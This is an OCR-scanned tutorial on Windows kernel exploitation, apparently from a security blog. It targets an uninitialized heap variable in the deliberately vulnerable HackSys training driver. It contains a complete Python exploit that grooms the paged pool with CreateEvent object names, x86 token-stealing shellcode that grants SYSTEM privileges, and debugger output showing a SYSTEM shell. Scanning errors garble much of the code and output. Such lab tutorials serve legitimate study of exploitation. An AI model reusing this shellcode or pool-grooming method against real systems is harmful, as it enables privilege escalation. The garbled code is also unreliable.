Windows Kernel Exploitation Tutorial Part 7:
Uninitialized Heap Variable

S March 21,2018 £ rootkit

Overview

In the previous part, we looked into an Uninitialized Stack Variable vulnerability. In this part, we'll discuss
about another vulnerability on similar lines, Uninitialized Heap Variable. We'd be grooming Paged Pool in
this one, so as to direct our execution flow to the shellcode.

Again, huge thanks to @hacksysteam for the driver.

Analysis

Let's analyze the UninitializedHeapVariable.c file:

il NTSTATUS TriggerUninitializedHeapVariable(IN PVOID UserBuffer) {

2 ULONG_PTR UserValue = 0;

3 ULONG_PTR MagicValue = 0xBADOBOBO;

4 NTSTATUS Status = STATUS_SUCCESS;

5 PUNINITIALIZED HEAP_VARIABLE UninitializedHeapVariable = NULL;

6

7 PAGED_CODE();

8

9 __try {

10 // Verify if the buffer resides in user mode

11 ProbeForRead(UserBuffer,

12 sizeof (UNINITIALIZED HEAP_VARIABLE),

13 (ULONG) __alignof(UNINITIALIZED HEAP_VARIABLE));

14

15 // Allocate Pool chunk

16 UninitializedHeapVariable = (PUNINITIALIZED_ HEAP_VARIABLE)

17 ExAllocatePoolWithTag(PagedPool,

18 $izeof (UNINITIALIZED HEAP_VARIABLI
19 (ULONG)POOL_TAG);
20

21 if (!UninitializedHeapVariable) {

22 // Unable to allocate Pool chunk

23 DbgPrint("[-] Unable to allocate Pool chunk\n");

24

25 Status = STATUS_NO_MEMORY;

26 return Status;

27 }

28 else {

29 DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));

30 DbgPrint("[+] Pool Type: %s\n", STRINGIFY(PagedPool));

31 DbgPrint("[+] Pool Size: @x%X\n", sizeof(UNINITIALIZED HEAP_VARIABLE));
32 DbgPrint("[+] Pool Chunk: @x%p\n", UninitializedHeapVariable);
33 }

34

35 // Get the value from user mode

36 UserValue = *(PULONG_PTR)UserBuffer;
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DbgPrint("[+] UserValue: Ox%p\n", UserValue);
DbgPrint("[+] UninitializedHeapVariable Address: Ox%p\n", &UninitializedHeapVariable]

// Validate the magic value

if (UserValue == MagicValue) {
UninitializedHeapVariable->Value = UserValue;
UninitializedHeapVariable->Callback = &UninitializedHeapVariableObjectCallback;

// Fill the buffer with ASCII ‘A’
Rt1FillMemory((PVOID)UninitializedHeapVariable->Buffer, sizeof(UninitializedHeap\

// Null terminate the char buffer
UninitializedHeapVariable->Buffer[(sizeof(UninitializedHeapVariable->Buffer) / s!

f#telse

#tendif

}
#ifdef SECURE
else {
DbgPrint("[+] Freeing UninitializedHeapVariable Object\n");
DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));
DbgPrint("[+] Pool Chunk: @x%p\n", UninitializedHeapVariable);
// Free the allocated Pool chunk
ExFreePoolWithTag((PVOID)UninitializedHeapVariable, (ULONG)POOL_TAG);
// Secure Note: This is secure because the developer is setting 'UninitializedHe:
// to NULL and checks for NULL pointer before calling the callback
// Set to NULL to avoid dangling pointer
UninitializedHeapVariable = NULL;
}
// Vulnerability Note: This is a vanilla Uninitialized Heap Variable vulnerabili
// because the developer is not setting 'Value' & 'Callback' to definite known v:
// before calling the 'Callback'
DbgPrint("[+] Triggering Uninitialized Heap Variable Vulnerability\n");
// Call the callback function
if (UninitializedHeapVariable) {
DbgPrint("[+] UninitializedHeapVariable->Value: 0x%p\n", UninitializedHeapVariab!
DbgPrint("[+] UninitializedHeapVariable->Callback: ©x%p\n", UninitializedHeapVar:
UninitializedHeapVariable->Callback();
}
¥
__except (EXCEPTION_ EXECUTE_HANDLER) {
Status = GetExceptionCode();
DbgPrint("[-] Exception Code: ©x%X\n", Status);
}
return Status;

Big code, but simple enough to understand. The variable UninitializedHeapVariable is being initialized with
the address of the pool chunk. And it's all good if UserValue == MagicValue, the value and callback are prop-
erly initialized and the program is checking that before calling the callback. But what if this comparison
fails? From the code, it is clear that if it's compiled as the SECURE version, the UninitializedHeapVariable is
being set to NULL, so the callback won't be called in the if statement. Insecure version on the other hand,
doesn’t have any checks like this, and makes the callback to an uninitialized variable, that leads to our
vulnerability.



Also, let's have a look at the defined _UNINITIALIZED_HEAP_VARIABLE structure in UninitializedHeapVariable.h
file:

typedef struct UNINITIALIZED HEAP_VARIABLE {
ULONG_PTR Value;
FunctionPointer Callback;
ULONG_PTR Buffer[58];
} UNINITIALIZED HEAP_VARIABLE, *PUNINITIALIZED HEAP VARIABLE;

As we see here, it defines three members, out of which second one is the Callback, defined as a Function-
Pointer. If we can somehow control the data on the Pool Chunk, we'd be able to control both the Uninitial-
izedHeapVariable and Callback.

All of this is more clear in the IDA screenshot:

; CODE XREF: TriggerUninitializedHeapVariable(x)+3CTj
offset aKcah 5 "'kecal'
offset aPoolTagS ; “[+] Pool Tag: %sin”
_DbgPrint
offset aPagedpool ; “PagedPool™
offset aPoolTypeS ; “'[+] Pool Type: %sin®™
_DbgPrint
esi
offset aPoolSizeBxX ; "[+] Pool Size: Bx%Ewn"
_DbgPrint
[ebp+UninitializedHeapVariable]
offset aPoolChunk®xP ; “[+] Pool Chunk: Bx%pywn’
_DbgPrint
esi, [edi]
esi
offset alservalueBxP ; “[+] UserUalue: Bx%pin"
_DbgPrint
eax, [ebp+UninitializedHeapVariable]
eax
offset aUninitializedh ; "[+] UninitializedHeapVariable Address: "
_DbgPrint
esp, 38h
eax, BBADBBBEBh
esi, eax
short loc 1HE4F
moy ecx, [ebp+UninitializedHeapVariable]
mov [ecx], eax
nov eax, [ebp+UninitializedHeapVariable]
nov dword ptr [eax+4], offset _UninitializedHeapVariableDbjectCallback®8 ; UninitializedHeapUariableObjectCallback()
push BEBh ; size t
push 41h ; int
nov eax, [ebp+UninitializedHeapVariable]
add eax, 8§
push eax ; void =
call _memset
add esp, BCh
nou eax, [ebp+UninitializedHeapVariable]
mov [eax+BECh], ebx

loc_ 14E4F:
; CODE XREF: TriggerUninitializedHeapUariable{x)+B5Tj
push offset aTriggeringUn_1 ; "[+] Triggering Uninitialized Heap Uaria™...
call _DbgPrint
pop ecx
nov eax, [ebp+UninitializedHeapVUariable]
eax, ebx
short loc_T14ERC
dword ptr [eax]
offset alninitialize @ ; "[+] UninitializedHeapUariable->Ualue:z 8" ...
_DbgPrint
eax, [ebp+UninitializedHeapVariable]
dword ptr [eax+h]
offset aUninitialize 4 ; ""[+] UninitializedHeapUariable-»Callback”...
_DbgPrint
esp, 18h
eax, [ebp+UninitializedHeapVUariable]
dword ptr [eax+4]
short loc_14ERC

Also, IOCTL for this would be 0x222033.

Exploitation

As usual, let’s start with our skeleton script, and with the correct Magic value:



https://github.com/hacksysteam/HackSysExtremeVulnerableDriver/blob/master/Driver/UninitializedHeapVariable.h

import ctypes, sys, struct
from ctypes import *
from subprocess import *

def main():
kernel32 = windll.kernel32
psapi = windll.Psapi
ntdll = windll.ntdll
hevDevice = kernel32.CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver",

if not hevDevice or hevDevice == -1:
print "*** Couldn't get Device Driver handle"
sys.exit(-1)

buf = "\xbe@\xbo\xde\xba"
bufLength = len(buf)

kernel32.DeviceIoControl(hevDevice, , buf, bufLength, None, 0, byref(c_ulong()),

",

T TOCTIT, UNIHITIALIZED HEAP VARTABLE #*%%xex

Everything passes through with no crash whatsoever. Let's give some other UserValue, and see what
happens.

*wxxxkx HACE

S _EVD _TOCTL_UNINITIALIZED HEAP VARTAELE swxxx

We get an exception, and the Callback address here doesn’t seem to be a valid one. Cool, now we can pro-
ceed on building our exploit for this.

The main challenge for us here is grooming the Paged Pool with our user controlled data from User Land.
One of the interfaces that does it are the Named Objects, and if you remember from previous post about
Pool Feng-Shui, we know that our CreateEvent object is the one we can use here to groom our Lookaside
list:

HANDLE WINAPI CreateEvent(
_In_opt_ LPSECURITY_ATTRIBUTES lpEventAttributes,
_In_ BOOL bManualReset,
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_In_ BOOL bInitialState,
_In_opt_ LPCTSTR 1pName

)5

Most important thing to note here is that even though the event object itself is allocated to Non-Paged
Pool, the last parameter, IoName of type LPCTSTR is actually allocated on the Paged Pool. And we can actu-
ally define what it contains, and it's length.

Some other points to be noted here:

e We'd be grooming the Lookaside list, which are lazy activated only two minutes after the boot.

e Maximum Blocksize for Lookaside list is 0x20, and it only manages upto 256 chunks, after that, any
additional chunks are managed by the ListHead.

e We need to allocate 256 objects of same size and then freeing them. If the list is not populated, then
the allocation would come from ListHead list.

e We need to make sure that the string for the object name is random for each call to object constructor,
as if same string is passed to consecutive calls to object constructor, then only one Pool chuck will be
served for all further requests.

e We also need to make sure that our I[pName shouldn't contain any NULL characters, as that would
change the length of the IoName, and the exploit would fail.

We'd be giving IpName a size of O0xFO0, the header size would be 0x8, total 0xF8 chunks. The shellcode we'd
borrow from our previous tutorial.

Combining all the things above, our final exploit would look like:

i import ctypes, sys, struct

22| from ctypes import *

=8| from subprocess import *

4

5 EESEEMION

6 spray_event = []

7 kernel32 = windll.kernel32

8 psapi = windll.Psapi

9 ntdll = windll.ntdll

10 hevDevice = kernel32.CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", 0xC0000000, 0,
11

12 if not hevDevice or hevDevice == -1:

13 print "*** Couldn't get Device Driver handle"

14 sys.exit(-1)

15

16 #Defining the ring@ shellcode and using VirtualProtect() to change the memory region atti
17 #And we can't have NULL bytes in our address, as if 1lpName contains NULL bytes, the leng
18

19 shellcode = (

20 "\x90\x90\x90\x90" # NOP Sled

21 "\x60" # pushad

22 "\x64\xA1\x24\x01\x00\x00" # mov eax, fs:[KTHREAD OFFSET]

23 "\x8B\x40\x50" # mov eax, [eax + EPROCESS OFFSET]

24 "\x89\xC1" # mov ecx, eax (Current EPROCESS structure)
25 "\x8B\x98\xF8\x00\x00\x00" # mov ebx, [eax + TOKEN_OFFSET]

26 "\xBA\x04\x00\x00\x00" # mov edx, 4 (SYSTEM PID)

27 "\x8B\x80\xB8\x00\x00\x00" # mov eax, [eax + FLINK OFFSET]

28 "\x2D\xB8\x00\x00\x00" # sub eax, FLINK OFFSET

29 "\x39\x90\xB4\x00\x00\x00" # cmp [eax + PID OFFSET], edx

30 "\x75\xED" # jnz

31 "\Xx8B\x90\xF8\x00\x00\x00" # mov edx, [eax + TOKEN OFFSET]

32 "\x89\x91\xF8\x00\x00\x00" # mov [ecx + TOKEN_OFFSET], edx

B8 "\x61" # popad

34 "\xC3" # ret
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)
shellcode_address = id(shellcode) + 20
shellcode address struct = struct.pack("<L", shellcode_address)
print "[+] Pointer for ring@ shellcode: {0}".format(hex(shellcode_ address))
success = kernel32.VirtualProtect(shellcode address, c_int(len(shellcode)), c_int(ex40),
if success == 0x0:
print "\t[+] Failed to change memory protection.”
sys.exit(-1)
#Defining our static part of lpName, size OxFO, adjusted according to the dynamic part ar
static_lpName = "\x41\x41\x41\x41" + shellcode address struct + "\x42" * (0xF0-4-8-4)
# Assigning 256 CreateEvent objects of same size.
print "\n[+] Spraying Event Objects..."
for i in xrange(256):
dynamic_lpName = str(i).zfill(4)
spray_event.append(kernel32.CreateEventW(None, True, False, c_char_p(static_lpName+d)
if not spray_event[i]:
print "\t[+] Failed to allocate Event object."
sys.exit(-1)
#Freeing the CreateEvent objects.
print "\n[+] Freeing Event Objects..."
for i in xrange(©, len(spray_event), 1):
if not kernel32.CloseHandle(spray_event[i]):
print "\t[+] Failed to close Event object."
sys.exit(-1)
buf = "\x37\x13\xd3\xba"'
bufLength = len(buf)
kernel32.DeviceIoControl(hevDevice, 0x222033, buf, bufLength, None, 0, byref(c_ulong()),
print "\n[+] nt authority\system shell incoming"
Popen("start cmd", shell=True)
if _name__ == "__main__":
main()




kdr g

sxxxxx HACKSYS_EVD IOCTL_UNINITIALIZED _HEAFP VARIABLE #*w%xxxx
[+] Pool Tag: 'kcaH!

[+] Fool Type: PagedPool

Eoo) '
UzerValue: 0xBADI1337
MninitializedH=apVariable Addres=s: 0=9DCE3A93

Triggering Uninitialized Heap Variable Vulnerability
Tnanataslis | _ M= O000000010

edHescilarisbleslslne
UninitializedHeap¥ariable—:Callback: 0=012ED1EC|

Ireakpoln

T U hit

HEVD I TriggerlUninitializedHeapVariable+0x119:

94fraesldd f£5004 call dword ptr [sax+i]

kd: !pool 0xASBE0O93D0

Pool page a8b093d0 region is

afdb09000 =ize: 380 previous =1ZE: (Allocated) Htfif

adbl9380 =ize: g previous =size: 380 (Fres) .

atbl9388 =ize: 20 previous =ize: 8 (Allocated) CHMNb (Protected)

AANN093A48 =izm- 2 nrewiog A= el | otected)

#38b093c8 =ize: 8 previous =size: 20 {Allocated) =Hacl
COwning compohent Mnknown (update pooltag. t=t)

a cl =lze. Drevious =1lze. ITe lallocated)  Lhvl

agbl09550 =ize: pPrevious sSizZe: 90 {Free) S=Td

adbi9%f0 =ize: previous =ize: all (Allocated) CHDa

afdbl9670 =ize: lal previous =ize: 80 (Frees) ObSg

agbl9818 =ize: 68 previous =ize: 1laf (Allocated) Flc=

afdbl9880 =ize: 148 previous =ize: 63 (Fres) CObHm

afdbl99z8 =ize: all previous =size: 148 (Allocated) CHDa

atbl%a68 =ize: 50 previous =ize: al (Allocated) AlRe

adbl9abl =ize: 38 previous =ize: 50 (Fres ) CHDa

agbl9bdl =ize: fl previous =size: 383 (Free) CHDa

agbl9z30 =ize: L8 previous =ize: t0 {Allocated) CHMDa

afdbl9z88 =ize: 50 previous =ize: 58 (Allocated) ObHm

agblf9czdg =ize: B8 previous =size: B0 {Allocated) Flcs

adbil9ddn =ize: A0 previous =ize: 63 (Frees) IcoHm

afdbl9dcl =ize: 68 previous =ize: 80 (Allocated) Flc=

atbl% 28 =ize: B8 previous =ize: 68 (Allocated) Flcs

afdbl9=90 =ize: 170 previous =ize: 63 (Allocated) FHin

kdr dd a8b093=8 Lod

a8b093z8 061f0804 6be3cldd 00000000 Ulledlec

a8b093d8 42424242 42424242 42424242 4242424

abh093e8 42424242 42424242 42424242 42424242

afBb093£f8 42424242 42424242 42424242 42424242

abhb09408 42424242 42424242 42424242 42424242

af8b09418 42424242 42424242 42424242 42424242

afb09428 42424242 42424242 42424242 42424242

abhb09438 42424242 42424242 42424242 42424242

af8b09448 42424242 42424242 42424242 42424242

af8b09458 42424242 42424242 42424242 42424242

abhb09468 42424242 42424242 42424242 42424242

af8b09478 42424242 42424242 42424242 42424242

a8b09488 42424242 42424242 42424242 42424242

abhb09498 42424242 42424242 42424242 42424242

afb094a8 42424242 42424242 42424242 42424242

a8b09%4b8 32303030 82boffda Oel2081f 49564d43

af8hb0%4=8 00193020 aSb211b1l 00079L80 Q00Y=2c8

afb094ds8 00079f=0 00082bdd 00082ca8 Q0OO0B87alb

afb0%4=8 00086e=88 0008=740 000195948 Q00902e=8

af8b094f8 000831£f8 0007bcl0 00092340 Q00457=8

a8b09508 O0008=8b0 0008=918 00092ded 0Q00B=420

aB8b09518 00091448 00091=00 00091ef0 Q00%91ecO

a8b09528 00090620 0008dbfd 0O0Bd4dE8Y8 Q00885ds

af8b09538 00050230 00092208 00045828 Q008d1ifO

af8hb09548 00083140 00000000 00140812 64546553

kd> ur UlZedlec

Nl2edlec 90 nop

Nl2edled 90 nop

llZedle= 90 nop

Nl2edlef 90 nop

0l12edlf0 &0 pu=shad

0l2edlfl 6d4alza0looon mow gax.dword ptr f=:[00000124h]

N12edlf? 8b4050 mow eax,dword ptr [sa=z+50h]

Nl12edlfa 89c1 mow SCH ., 2AK

NlZedlfcz 8b98fa000000 mow ebh® . dword ptr [sa=x+0F8h]

012ed202 bal4000000 morw eds, 4

0l1zed207 Sba0bAOOOOO0 mow ga®.dword ptr [sa=x+0B8h]

0l12edz20d 2dbB000000 =uhb eax, 1BEh

0lzedZ12 3990b4a0000O0O0 cmp dword ptr [eax+0Bdh].ed=x

Nl2ed2ld 75ed jne N012ed20? Eranch

NlzedZla Sb90fa0o000o00 mow edx . dword ptr [=ax+0F8h]




mory dword ptr [ecE+0F8h].ed=

popad
ret

And we get our nt authority\system shell:

[ o CAWindows\system32\cmd.ex —a] x |

Microsoft Windows [Uersion 6.1.7601]
Copyright (c¢) 2009 Microsoft Corporation. All rights reserved. f]ttF)'/ﬁ/[T]C)(je3rr] |

C:\Users\IEUser>cd Desktop

C:\Users\IEUser\Desktop>uhoami
ielluwinT\ieuser

ng and working with
C:\Users\IEUser\Desktop>python uninitialized_heap_variable.py
[+] Pointer for ring® shellcode: 0x12edlec

ind are therefore time

[+] Spraying Event Objects. ..

[+] Freeing Event Objects. .. " l t

Microsoft Windows [Uersion 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.

[+] nt authority\system shell incoming

C:\Users\IEUser\Desktop> C:\Users\IEUser\Desktop>uhoami

nt authorityi\system

C:\Users\IEUser\Desktop>
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